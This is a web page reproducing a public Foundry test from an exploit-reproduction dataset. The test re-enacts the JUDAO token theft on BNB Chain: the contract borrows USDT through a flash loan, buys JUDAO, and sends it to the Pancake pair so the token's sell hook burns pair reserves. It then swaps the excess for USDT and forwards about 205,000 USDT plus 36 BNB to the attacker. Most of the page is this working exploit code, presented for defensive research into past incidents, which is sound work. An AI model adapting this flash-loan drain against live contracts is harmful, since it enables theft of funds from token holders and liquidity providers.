Public reproduction file
src/test/2026-04/JUDAO_exp.sol
Public reproduction file for dataset entry JUDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 205,259.49 USDT + 36 BNB8// Attacker : 0x5384b34c74024d6563b323351a4bbfa18432161b9// Attack Contract : 0x530904b5b5ec86cca0528a682614f57f87e7f07910// Vulnerable Contract : 0xf55dff7898930a2d28cdbc39d615b1624ac8688811// Attack Tx : https://bscscan.com/tx/0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xf55dff7898930a2d28cdbc39d615b1624ac86888#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/295518//19// JUDAO's sell transfer hook drains JUDAO directly from its Pancake pair. The attacker bought JUDAO with20// flash-loaned USDT, sold into the pair to trigger both sync(true) mining and isBurnPair reserve burns,21// then directly swapped the JUDAO balance credited to the pair for excess USDT.23address constant ATTACKER = 0x5384B34C74024d6563B323351a4bBFA18432161B;24address constant JUDAO = 0xf55DFF7898930a2D28cDbC39D615b1624ac86888;25address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;26address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;27address constant JUDAO_USDT_PAIR = 0x5D7b61e91cB59E90f7fAE8d0FE2e73976161592F;28address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;29address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);31interface IMoolah {32 function flashLoan(33 address token,34 uint256 assets,35 bytes calldata data36 ) external;37}39interface IMoolahFlashLoanCallback {40 function onMoolahFlashLoan(41 uint256 assets,42 bytes calldata data43 ) external;44}46interface IJUDAO is IERC20 {47 function basePair() external view returns (address);48}50contract ContractTest is BaseTestWithBalanceLog {51 function setUp() public {52 uint256 forkBlock = 95_070_973;53 vm.createSelectFork("bsc", forkBlock);54 fundingToken = USDT_TOKEN;55 attacker = ATTACKER;57 vm.label(ATTACKER, "Attacker EOA");58 vm.label(JUDAO, "JUDAO");59 vm.label(USDT_TOKEN, "USDT");60 vm.label(WBNB_TOKEN, "WBNB");61 vm.label(JUDAO_USDT_PAIR, "JUDAO/USDT Pancake pair");62 vm.label(MOOLAH, "Moolah flash loan proxy");63 vm.label(PANCAKE_ROUTER, "Pancake router");64 }66 function testExploit() public balanceLog {67 vm.deal(ATTACKER, 0);68 uint256 usdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);69 uint256 bnbBefore = ATTACKER.balance;71 JUDAOExploit exploit = new JUDAOExploit(ATTACKER);73 vm.prank(ATTACKER);74 exploit.attack();76 uint256 usdtProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - usdtBefore;77 uint256 bnbProfit = ATTACKER.balance - bnbBefore;79 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");80 emit log_named_decimal_uint("Attacker Final BNB Balance", ATTACKER.balance, 18);81 assertGt(usdtProfit, 200_000 ether, "USDT profit");82 assertEq(bnbProfit, 36 ether, "BNB profit");83 }84}86contract JUDAOExploit is IMoolahFlashLoanCallback {87 IJUDAO private constant judao = IJUDAO(JUDAO);88 IERC20 private constant usdt = IERC20(USDT_TOKEN);89 IPancakePair private constant judaoPair = IPancakePair(JUDAO_USDT_PAIR);90 IMoolah private constant moolah = IMoolah(MOOLAH);91 IPancakeRouter private constant router = IPancakeRouter(PANCAKE_ROUTER);93 address private immutable profitReceiver;95 constructor(96 address receiver97 ) {98 profitReceiver = receiver;99 usdt.approve(PANCAKE_ROUTER, type(uint256).max);100 usdt.approve(MOOLAH, type(uint256).max);101 judao.approve(PANCAKE_ROUTER, type(uint256).max);102 }104 function attack() external {105 require(msg.sender == profitReceiver, "only receiver");106 require(judao.basePair() == JUDAO_USDT_PAIR, "unexpected base pair");107 require(judaoPair.token0() == USDT_TOKEN && judaoPair.token1() == JUDAO, "unexpected token order");109 (, uint112 judaoReserve,) = judaoPair.getReserves();110 uint256 targetJudaoOut = uint256(judaoReserve) / 6;112 address[] memory buyPath = new address[](2);113 buyPath[0] = USDT_TOKEN;114 buyPath[1] = JUDAO;115 uint256 flashAmount = router.getAmountsIn(targetJudaoOut, buyPath)[0];117 // step 1: borrow enough USDT from Moolah to buy roughly one sixth of JUDAO pair reserves.118 moolah.flashLoan(USDT_TOKEN, flashAmount, "");120 // step 6: mirror the trace by converting exactly 36 BNB, then forward residual USDT.121 address[] memory bnbPath = new address[](2);122 bnbPath[0] = USDT_TOKEN;123 bnbPath[1] = WBNB_TOKEN;124 router.swapTokensForExactETH(36 ether, usdt.balanceOf(address(this)), bnbPath, profitReceiver, block.timestamp);126 usdt.transfer(profitReceiver, usdt.balanceOf(address(this)));127 }129 function onMoolahFlashLoan(130 uint256 assets,131 bytes calldata132 ) external override {133 require(msg.sender == MOOLAH, "not Moolah");135 // step 2: buy JUDAO; JUDAO's buy branch records this contract's tOwnedU credit.136 address[] memory buyPath = new address[](2);137 buyPath[0] = USDT_TOKEN;138 buyPath[1] = JUDAO;139 router.swapExactTokensForTokens(assets, 0, buyPath, address(this), block.timestamp);141 // step 3: send the post-fee JUDAO balance to the pair. The token sell hook drains pair reserves.142 uint256 sellAmount = judao.balanceOf(address(this));143 judao.transfer(JUDAO_USDT_PAIR, sellAmount);145 // step 4: directly swap the JUDAO now credited to the pair for USDT using Pancake's 0.25% fee.146 (uint112 reserveUsdt, uint112 reserveJudao,) = judaoPair.getReserves();147 uint256 amountIn = judao.balanceOf(JUDAO_USDT_PAIR) - uint256(reserveJudao);148 uint256 amountOut = getAmountOut(amountIn, uint256(reserveJudao), uint256(reserveUsdt));149 judaoPair.swap(amountOut, 0, address(this), "");151 // step 5: Moolah pulls the flash-loaned principal after this callback returns.152 require(usdt.balanceOf(address(this)) >= assets, "insufficient repayment");153 }155 function getAmountOut(156 uint256 amountIn,157 uint256 reserveIn,158 uint256 reserveOut159 ) private pure returns (uint256) {160 uint256 amountInWithFee = amountIn * 9975;161 return (amountInWithFee * reserveOut) / (reserveIn * 10_000 + amountInWithFee);162 }163}Analysis
Dataset entry
Public Foundry test for “JUDAO” (2026-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5384b34c74024d6563b323351a4bbfa18432161b
- Attack Contract
0x530904b5b5ec86cca0528a682614f57f87e7f079
- Vulnerable Contract
0xf55dff7898930a2d28cdbc39d615b1624ac86888
- Attack Tx
0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd
File record
- Name
- JUDAO
- Path
- src/test/2026-04/JUDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 95bb1cb65ab54913dabc5b42d7fae23be2a3c3ef
- Language
- Solidity
- Size
- 164 lines
- Date
- 2026-04-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/JUDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 95bb1cb65ab54913dabc5b42d7fae23be2a3c3ef, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.